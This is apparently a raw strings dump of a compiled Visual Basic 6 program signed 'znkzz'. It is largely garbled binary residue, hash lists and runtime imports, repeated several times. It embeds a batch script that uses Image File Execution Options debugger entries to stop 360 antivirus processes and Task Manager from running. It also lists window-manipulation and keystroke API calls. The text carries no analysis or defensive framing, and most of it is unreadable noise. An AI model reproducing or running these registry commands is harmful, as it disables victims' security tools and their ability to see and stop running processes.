__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
2B1A502D5E87E910FA9DAAC890660C3D
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
